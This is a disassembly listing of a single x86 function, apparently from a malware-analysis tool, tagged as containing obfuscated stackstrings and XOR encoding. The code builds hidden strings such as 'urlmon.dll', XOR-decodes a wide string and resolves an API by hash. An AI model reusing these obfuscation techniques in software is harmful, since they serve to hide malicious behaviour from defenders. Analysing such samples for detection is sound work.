Function at 0x425613
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c8
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call fcn.00425513
add esp, 4
test eax, eax
jne 0x425a89
push 0x7f
push eax
lea edx, [ebp - 0x1b7]
push edx
mov dword [ebp - 0xb4], 0x750068
mov dword [ebp - 0xb0], 0x730076
mov dword [ebp - 0xac], 0x2a003e
mov dword [ebp - 0xa8], 0x700029
mov dword [ebp - 0xa4], 0x7e007f
mov dword [ebp - 0xa0], 0x780024
mov dword [ebp - 0x9c], 0x61007d
mov dword [ebp - 0x98], 0x7b0067
mov dword [ebp - 0x94], 0x3f0075
mov dword [ebp - 0x90], 0x61007d
mov dword [ebp - 0x8c], 0x3a0073
mov dword [ebp - 0x88], 0x270024
mov dword [ebp - 0x84], 0x2d0029
mov dword [ebp - 0x80], 0x680035
mov dword [ebp - 0x7c], 0x71006d
mov dword [ebp - 0x78], 0x6b0077
mov dword [ebp - 0x74], 0xc0045
mov dword [ebp - 0x70], 0x4f0046
mov dword [ebp - 0x6c], 0x80048
mov dword [ebp - 0x68], 0x4e0051
mov dword [ebp - 0x64], 0x1a0046
mov dword [ebp - 0x60], 0x60018
mov dword [ebp - 0x5c], 0x150054
mov dword [ebp - 0x58], 0x20018
mov dword [ebp - 0x54], 0x10003
mov dword [ebp - 0x50], 0x3000a
mov dword [ebp - 0x4c], 0x50007
mov dword [ebp - 0x48], 0x190006
mov dword [ebp - 0x44], 0x500042
mov dword [ebp - 0x40], 0x4a
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x6d6c7275
mov dword [ebp - 0x1c], 0x642e6e6f
mov word [ebp - 0x18], 0x6c6c
mov byte [ebp - 0x16], al
mov dword [ebp - 0x15], eax
mov byte [ebp - 0x11], al
mov dword [ebp - 0x11c], 0x10
mov dword [ebp - 0x118], 0x11
mov dword [ebp - 0x114], 0x12
mov dword [ebp - 0x110], 0x13
mov dword [ebp - 0x10c], 0x14
mov dword [ebp - 0x108], 0x15
mov dword [ebp - 0x104], 0x16
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0xdc], 0x10000a
mov dword [ebp - 0xd8], 0x1b0016
mov dword [ebp - 0xd4], 0x22001f
mov dword [ebp - 0xd0], 0x280025
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], eax
mov dword [ebp - 0xc4], eax
mov dword [ebp - 0xc0], eax
mov byte [ebp - 0x1b8], al
call fcn.0042e0f3
lea esi, [edi + 0x20]
push esi
push 6
push 0
call fcn.004167c3
movzx ebx, al
movzx eax, word [ebp + ebx*2 - 0xda]
movzx ecx, word [ebp + ebx*2 - 0xdc]
push esi
dec eax
push eax
push ecx
call fcn.004167c3
movzx edx, al
lea eax, [ebp - 0x20]
push eax
add edi, 0x878
push edi
mov dword [ebp - 0xbc], edx
call fcn.00417153
push 0x55b0ed4a
mov dword [ebp - 0xb8], eax
call fcn.00404453
mov ecx, dword [ebp - 0xb8]
push eax
push 0
push 0
push ecx
push edi
call fcn.00424863
add esp, 0x44
test eax, eax
jne 0x42589a
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x3be]
xor eax, eax
push edx
mov dword [ebp - 0x2c], 0x7a002e
mov dword [ebp - 0x28], 0x700069
mov word [ebp - 0x24], ax
mov word [ebp - 0x3c0], cx
call fcn.0042e0f3
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x5c6]
push ecx
mov word [ebp - 0x5c8], ax
call fcn.0042e0f3
lea edx, [ebp - 0x1b8]
push edx
call fcn.0040ae73
mov edx, dword [ebp + 8]
push 0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x3c0]
push ecx
push edx
call fcn.00417443
mov edx, dword [ebp + 8]
push 0
lea eax, [ebp - 0x1b8]
push eax
lea ecx, [ebp - 0x5c8]
push ecx
push edx
call fcn.00417443
lea eax, [ebp - 0x3c0]
push eax
call fcn.0042e293
add esp, 0x40
push esi
push esi
mov ecx, 0x5c
push 8
push 5
mov word [ebp + eax*2 - 0x3c0], cx
call fcn.004167c3
movzx edx, al
add esp, 0xc
push edx
lea eax, [ebp - 0x3c0]
push eax
call fcn.0042e293
lea ecx, [ebp + eax*2 - 0x3c0]
add esp, 4
push ecx
call fcn.0042ef23
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x3c0]
push eax
call fcn.0042e403
xor eax, eax
add esp, 0x18
cmp word [ebp - 0xb4], ax
je 0x4259b0
lea esi, [ebp - 0xb4]
nop
mov cl, byte [esi]
xor cl, al
movzx edx, cl
inc eax
mov word [esi], dx
cmp word [ebp + eax*2 - 0xb4], 0
lea esi, [ebp + eax*2 - 0xb4]
jne 0x425993
lea eax, [ebp - 0xb4]
push eax
call fcn.0042e293
mov edx, dword [ebp + ebx*4 - 0x11c]
lea ecx, [ebp - 8]
push ecx
mov esi, eax
xor eax, eax
push 4
push eax
push edx
push edi
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov byte [ebp - 3], al
call fcn.0042e1b3
mov ecx, dword [ebp - 0xbc]
xor eax, eax
mov dword [ebp - 0xf], eax
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push ecx
push edi
mov byte [ebp - 0x10], 0
call fcn.0042e1b3
movsx eax, byte [ebp - 8]
movsx cx, byte [ebp - 7]
mov edx, 0x30
mov word [ebp + esi*2 - 0xc2], dx
movsx dx, byte [ebp - 0x10]
mov word [ebp + esi*2 - 0xfa], ax
movsx eax, byte [ebp - 0xf]
mov word [ebp + esi*2 - 0xf8], cx
mov word [ebp + esi*2 - 0xc8], dx
lea ecx, [ebp - 0x3c0]
push ecx
lea edx, [ebp - 0xb4]
mov word [ebp + esi*2 - 0xc6], ax
mov esi, dword [ebp + 8]
push edx
push esi
call fcn.004269a3
add esp, 0x38
test eax, eax
je 0x425891
lea eax, [ebp - 0x138]
push eax
lea ecx, [ebp - 0x5c8]
push ecx
lea edx, [ebp - 0x3c0]
push edx
push esi
mov dword [ebp - 0x120], 0x1e73eb68
call fcn.004279c3
add esp, 0x10
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret